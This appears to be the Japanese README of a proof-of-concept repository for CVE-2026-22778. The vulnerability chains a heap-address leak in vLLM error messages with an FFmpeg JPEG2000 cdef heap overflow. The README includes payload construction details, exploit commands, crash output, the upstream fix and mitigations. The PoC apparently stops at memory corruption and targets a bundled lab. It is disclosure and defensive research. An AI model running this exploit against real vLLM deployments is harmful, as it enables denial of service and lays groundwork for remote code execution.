CVE-2026-22778の概念実証エクスプロイト。vLLMの動画処理における未認証RCEであり、ヒープアドレスの開示と、FFmpegのJPEG2000デコーダにおけるヒープバッファオーバーフローを実証します。許可されたテスト用の脆弱なラボ環境を含みます。
| CVE | CVE-2026-22778 |
| アドバイザリ | GHSA-4r2x-xpjr-7cvv |
| 影響を受けるバージョン | vLLM >= 0.8.3、< 0.14.1(動画モデルを提供するデプロイメント) |
| 修正バージョン | vLLM 0.14.1 |
| CVSS | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 根本的なバグ | CVE-2025-9951 — FFmpegのJPEG2000デコーダにおけるヒープバッファオーバーフロー |
2つの別々の欠陥が連鎖します。デフォルトのvllm serveには認証がないため、両方とも/v1/chat/completionsと/v1/invocationsで認証前に到達可能です。
画像の解析に失敗すると、Pillowは読み取り元のBytesIOオブジェクトのrepr()を埋め込んだメッセージを持つ例外を発生させます:
cannot identify image file <_io.BytesIO object at 0x7f4a9c2e1d50>
vLLMはメディア読み込みの失敗をHTTP 400に変換し、exc.detailをクライアントにそのまま返していました
(api_server.py):
async def http_exception_handler(_: Request, exc: HTTPException):
err = ErrorResponse(
error=ErrorInfo(
message=exc.detail, # <-- アドレスをそのまま漏洩
...
この単一のアドレスにより、ヒープASLRのエントロピーが約32ビットからおよそ3ビットに減少します。これにより、ステージ2が単なるクラッシュではなく悪用可能になります。
video_urlはサーバーによって取得され、OpenCVに渡されます:
MediaConnector.load_from_url() vllm/multimodal/utils.py
-> OpenCVVideoBackend.load_bytes() vllm/multimodal/video.py
-> cv2.VideoCapture(BytesIO(data), backend, [])
-> FFmpeg 5.1.x (opencv-python-headless < 4.13に同梱)
vLLMはopencv-python-headless >= 4.11.0を固定していましたが、これにはFFmpeg 5.1.xが同梱されています。そのJPEG2000デコーダは、ファイルのチャンネル定義(cdef)ボックスから直接、出力先プレーンを選択します — libavcodec/jpeg2000dec.c、write_frame_8:
if (planar)
plane = s->cdef[compno] ? s->cdef[compno]-1 : (s->ncomponents-1);
...
int w = tile->comp[compno].coord[0][1] - ...; /* コンポーネントから取得 */
int h = tile->comp[compno].coord[1][1] - ...; /* プレーンからではない! */
planeは攻撃者が制御できますが、w/hはデコードされるコンポーネントから取得され、一方が他方に収まるかどうかのチェックはありません。cn=0, asoc=2のcdefエントリは、コンポーネント0(フル解像度の輝度プレーン)をプレーン1(2×2サブサンプリングされたクロマプレーン)に送ります。
このPoCが使用する150×64フレームの場合:
| サイズ | |
|---|---|
| Yコンポーネント(書き込み先) | 150 × 64 = 9,600バイト |
| Uプレーン(出力先) | 75 × 32 = 2,400バイト |
| オーバーフロー | 割り当てを7,200バイト超過 |
FFmpegは各プレーンを独自のAVBufferとして割り当てるため、オーバーフローは隣接するヒープチャンクを通過します — これにはfree関数ポインタを保持するAVBuffer構造体も含まれます。ステージ1のリークと組み合わせることで、そのポインタの上書きがメモリ破壊をコード実行に変えるものです。
このPoCはメモリ破壊の時点で停止します。 サーバープロセスを強制終了させることで、範囲外書き込みを証明します。ヒープグルーミングと関数ポインタの上書きは意図的に実装されていません。
lab/app.pyは、vLLM 0.13.0のマルチモーダル取り込み経路 — MediaConnector、ImageMediaIO、OpenCVVideoBackend、およびパッチ適用前のエラーハンドラ — の最小限の再実装であり、それぞれが対応するアップストリームファイルで注釈付けされています。モデルランタイムはスタブ化されています:脆弱性は完全にメディア取り込みに存在し、これは推論の前に実行され、GPUやモデルの重みを必要としません。
攻撃経路上のすべては本物です — アドレスを漏洩する同じPillow呼び出し、そしてパッチ未適用のopencv-python-headless==4.11.0.86(FFmpeg 5.1.x、libavcodec 59.37.100)への同じcv2.VideoCapture呼び出しです。
docker compose up -d --build
python3 exploit.py
オプション:
python3 exploit.py --target http://localhost:8000
python3 exploit.py --serve # ペイロードをHTTPで配信
python3 exploit.py --write-payload evil.jp2 # 悪意のあるファイルを書き込むだけ
このエクスプロイトは純粋な標準ライブラリのみで構成されており、依存関係はありません。
[*] Stage 1 -- heap address disclosure via PIL error message
HTTP 400
cannot identify image file <_io.BytesIO object at 0xffff8f555300>
[+] Leaked heap address: 0xffff8f555300
ASLR bypassed: the heap base is now known to ~3 bits of entropy.
[*] Stage 2 -- heap buffer overflow in the JPEG2000 decoder
Target alive: boot_id=95b62f18-13c0-4d6d-97d3-1b029207dc01 pid=1
Payload: 203 bytes, 150x64 yuv420p JP2
cdef maps component 0 -> plane 1: writes 9600 bytes into a 2400-byte plane (7200-byte overflow)
Request never completed: Remote end closed connection without response
Probing /health to see what happened to the worker...
[+] Worker was killed and restarted: boot_id 95b62f18-... -> 4494d28c-...
[+] Out-of-bounds write confirmed.
そしてサーバー側:
$ docker compose logs vllm
cve-2026-22778-lab | INFO: POST /v1/chat/completions HTTP/1.1" 400 Bad Request
cve-2026-22778-lab | corrupted size vs. prev_size
cve-2026-22778-lab | INFO: Started server process [1]
後片付け:
docker compose down
203バイトで、build_payload()でゼロから構築されます。4:2:0サブサンプリングで3つのコンポーネントを宣言する最小限のJPEG2000コーデストリーム(FFmpegがyuv420pフレームを割り当てるため)を含むJP2コンテナに加えて、それらを再マッピングするcdefボックスが含まれます:
cn=0, typ=0, asoc=2 <-- コンポーネント0(フル解像度)をプレーン1(サブサンプリング)へ
cn=1, typ=0, asoc=2
cn=2, typ=0, asoc=3
係数データは空です。デコーダはSIZヘッダーからフレームを割り当て、書き込みループも実行するため、実際の画像データは不要です。
vLLM 0.14.1、3つのPRによる:
アップストリームのFFmpegは現在、チャンネルの順列ではないcdefマップを拒否し、再マッピングされたインデックスからピクセル形式を導出します:
int cdef_used = 0;
for (i = 0; i < s->ncomponents; i++)
cdef_used |= 1<<s->cdef[i];
if (cdef_used != ((int[]){0,2,3,14,15})[s->ncomponents])
return AVERROR_INVALIDDATA;
ラボの固定をopencv-python-headless>=4.13.0に変更すると、同じペイロードはerror during processing marker segment ff51で無害に失敗します。
アップグレードできない場合:動画モデルを提供せず、APIの前に認証を置き、--allowed-media-domainsでメディア取得を制限してください。
docker composeにネイティブのarm64アーキテクチャ(デフォルト)でビルドさせてください。--platform linux/amd64を強制するとコンテナがエミュレーションで実行され、アボートするプロセスが終了せずにハングし、クラッシュの観察が難しくなります。教育および許可されたセキュリティテストのみを目的としています。このリポジトリ内のラボ、または明示的にテスト許可を得たシステムに対してのみ実行してください。